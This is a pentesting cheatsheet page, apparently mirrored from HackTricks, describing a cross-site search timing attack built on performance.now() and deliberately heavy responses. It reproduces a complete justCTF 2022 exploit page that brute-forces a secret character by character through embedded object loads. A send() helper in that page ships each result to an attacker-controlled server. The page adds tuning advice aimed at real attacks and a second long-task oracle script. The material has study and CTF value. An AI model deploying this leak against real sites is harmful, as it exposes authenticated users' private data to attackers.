daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

performance-now-force-heavy-task.md (10223B)


      1 ---
      2 title: "performance.now() + Forced Heavy Task"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/xs-search/performance.now-+-force-heavy-task.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xs-search/performance.now-%2B-force-heavy-task.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # `performance.now()` + Forced Heavy Task
     14 
     15 **Exploit taken from [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**<sup>[[1]](#references)</sup>
     16 
     17 In this challenge, the user could send thousands of characters. When the candidate flag substring matched, that large string was reflected to the bot. The attacker could therefore distinguish a matching candidate by measuring the extra work caused by the much larger response.<sup>[[1]](#references)</sup>
     18 
     19 The important idea is that the **oracle is not just the request time**. The attacker intentionally makes one branch do **much more work** than the other one, and then measures the difference with `performance.now()` around an embedded cross-origin navigation. In practice the extra work can come from **larger reflected HTML/text**, **more DOM nodes to parse/layout/paint**, or even **expensive validation/highlighting logic** that only happens in one branch.<sup>[[2]](#references)</sup>
     20 
     21 > [!WARNING]
     22 > In the original challenge, a large explicit object width and height amplified the rendering-time difference; the default viewport was too small to produce a reliable signal.<sup>[[1]](#references)</sup>
     23 
     24 ```html
     25 <!DOCTYPE html>
     26 <html>
     27   <head> </head>
     28   <body>
     29     <img src="https://deelay.me/30000/https://example.com" />
     30     <script>
     31       fetch("https://deelay.me/30000/https://example.com")
     32 
     33       function send(data) {
     34         fetch("http://vps?data=" + encodeURIComponent(data)).catch((err) => 1)
     35       }
     36 
     37       function leak(char, callback) {
     38         return new Promise((resolve) => {
     39           let ss = "just_random_string"
     40           let url =
     41             `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=` +
     42             ss[Math.floor(Math.random() * ss.length)].repeat(1000000)
     43           let start = performance.now()
     44           let object = document.createElement("object")
     45           object.width = "2000px"
     46           object.height = "2000px"
     47           object.data = url
     48           object.onload = () => {
     49             object.remove()
     50             let end = performance.now()
     51             resolve(end - start)
     52           }
     53           object.onerror = () => console.log("Error event triggered")
     54           document.body.appendChild(object)
     55         })
     56       }
     57 
     58       send("start")
     59 
     60       let charset = "abcdefghijklmnopqrstuvwxyz_}".split("")
     61       let flag = "justCTF{"
     62 
     63       async function main() {
     64         let found = 0
     65         let notFound = 0
     66         for (let i = 0; i < 3; i++) {
     67           await leak("..")
     68         }
     69         for (let i = 0; i < 3; i++) {
     70           found += await leak("justCTF")
     71         }
     72         for (let i = 0; i < 3; i++) {
     73           notFound += await leak("NOT_FOUND123")
     74         }
     75 
     76         found /= 3
     77         notFound /= 3
     78 
     79         send("found flag:" + found)
     80         send("not found flag:" + notFound)
     81 
     82         let threshold = found - (found - notFound) / 2
     83         send("threshold:" + threshold)
     84 
     85         if (notFound > found) {
     86           return
     87         }
     88 
     89         // exploit
     90         while (true) {
     91           if (flag[flag.length - 1] === "}") {
     92             break
     93           }
     94           for (let char of charset) {
     95             let trying = flag + char
     96             let time = 0
     97             for (let i = 0; i < 3; i++) {
     98               time += await leak(trying)
     99             }
    100             time /= 3
    101             send("char:" + trying + ",time:" + time)
    102             if (time >= threshold) {
    103               flag += char
    104               send(flag)
    105               break
    106             }
    107           }
    108         }
    109       }
    110 
    111       main()
    112     </script>
    113   </body>
    114 </html>
    115 ```
    116 
    117 ## When this works best
    118 
    119 This pattern is most useful when a candidate query changes **how expensive the target page is to process**, not only the response status code. Typical places to look for this are:<sup>[[1]](#references)[[2]](#references)</sup>
    120 
    121 - **Search endpoints** that reflect a very large body only on a hit.
    122 - **Preview/render endpoints** (Markdown, HTML, syntax highlighting, diff viewers) where one branch creates much more DOM/layout work.
    123 - **Validation/filtering gadgets** where one input triggers expensive parsing, regex processing, highlighting, or templating while the other branch exits fast. Modern examples include `pattern` validation / ReDoS-style regex backtracking and syntax highlighters that only do the expensive path on a hit.
    124 - **Same-site HTML injection** scenarios where you can embed an authenticated endpoint with `<object>` / `<iframe>` and turn a hit/miss difference into a timing oracle.
    125 
    126 If the hit/miss difference is only a few bytes on the wire, the signal is usually too noisy. The trick becomes practical when you can amplify the positive or negative branch into a **clearly heavier parse/render/application task**.
    127 
    128 ## Practical reliability notes
    129 
    130 - **Warm up first:** the first few measurements are often skewed by DNS, TCP/TLS setup, process scheduling, or JIT compilation. Do a few dummy requests before calibrating the threshold.
    131 - **Defeat caches explicitly:** add random query parameters or random filler so repeated probes do not collapse into the HTTP cache or a reused application result.
    132 - **Compression can kill the signal:** if the only difference is repeated text, gzip/brotli can shrink it heavily. Prefer responses that also increase **DOM size**, **layout work**, or **client-side processing time**.
    133 - **Keep the embedded viewport large and deterministic:** fixed `width`/`height` on `<object>` or `<iframe>` helps because a tiny default viewport may hide the rendering cost you are trying to amplify.
    134 - **Use median/average from several runs:** recompute a threshold from a known-hit and a known-miss sample, then classify each candidate with multiple probes instead of trusting one measurement.
    135 - **If timer precision is coarse, amplify the task more:** a forced branch that regularly creates `50ms+` long tasks can sometimes still be classified with other clocks or `PerformanceObserver`, but only if the branch is truly heavy.
    136 - **Verify authenticated embedding:** SameSite cookie rules, third-party-cookie restrictions, CSP `frame-ancestors`, X-Frame-Options, CORP, and Fetch Metadata checks can prevent the cross-origin object/frame from reaching the authenticated state whose secret you want to test.<sup>[[2]](#references)</sup>
    137 - **Add timeouts and error handling:** an `object`/`iframe` load event is not guaranteed. A failed candidate must not stall the entire extraction loop.
    138 
    139 ## Browser reality in 2025+
    140 
    141 A useful mental model is: **do not depend on ultra-fine timers; depend on a huge workload gap**. Browsers coarsen `performance.now()` in non-isolated contexts, so this technique is much more reliable when the hit/miss delta is in the **multi-millisecond** range, not when trying to distinguish tiny sub-millisecond differences.<sup>[[5]](#references)</sup>
    142 
    143 In theory you can recover better timer precision from a **cross-origin isolated** page, but in practice that usually conflicts with generic XS-Search targets: isolation requires `COOP: same-origin` plus `COEP: require-corp` or `credentialless`, and `COEP` blocks many arbitrary cross-origin embeds unless the target explicitly opts into `CORP`/`CORS` or is loaded without credentials. For real attacks, assume you will usually be measuring from a **non-isolated attacker page** and design the heavy branch accordingly.<sup>[[4]](#references)</sup>
    144 
    145 ## Long Tasks API as a coarse Boolean oracle
    146 
    147 If the heavy branch is expected to block the UI thread for **`>=50ms`**, you can also watch for `longtask` entries instead of trusting raw deltas only. This is especially useful when the response branch triggers **expensive layout/reflow/rendering** or client-side validation that creates a very visible stall.<sup>[[3]](#references)</sup>
    148 
    149 > [!NOTE]
    150 > The Long Tasks API has **limited browser support**, so treat it as an additional oracle, not as the only one.
    151 
    152 <details>
    153 <summary>Example: using <code>PerformanceObserver</code> as an extra oracle</summary>
    154 
    155 ```html
    156 <script>
    157   const longtasks = []
    158   new PerformanceObserver((list) => {
    159     for (const entry of list.getEntries()) longtasks.push(entry.duration)
    160   }).observe({ type: "longtask", buffered: true })
    161 
    162   async function leakWithLongTasks(url) {
    163     longtasks.length = 0
    164     const obj = document.createElement("object")
    165     obj.width = "2000px"
    166     obj.height = "2000px"
    167     obj.data = url
    168     document.body.appendChild(obj)
    169     await new Promise((resolve) => (obj.onload = resolve))
    170     obj.remove()
    171     return Math.max(0, ...longtasks) >= 50
    172   }
    173 </script>
    174 ```
    175 </details>
    176 
    177 This won't magically fix a weak oracle. It only helps when one branch really does produce **observable long tasks** and the other branch does not. If both branches stay below the long-task threshold, go back to **making the target do more work** or use another leak primitive.
    178 
    179 For alternative clocks and contention-based variants, also check:
    180 
    181 [Event Loop Blocking + Lazy Images](/hacktricks/pentesting-web/xs-search/event-loop-blocking-lazy-images)
    182 
    183 ## References
    184 
    185 - [1] [justCTF 2022 XS-Leak Writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)
    186 - [2] [XS-Leaks Wiki: Execution Timing](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/)
    187 - [3] [MDN: PerformanceLongTaskTiming](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming)
    188 - [4] [PortSwigger Research: Listen to the whispers - web timing attacks that actually work](https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work)
    189 - [5] [MDN - `Performance.now()` security requirements and reduced precision](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now#security_requirements)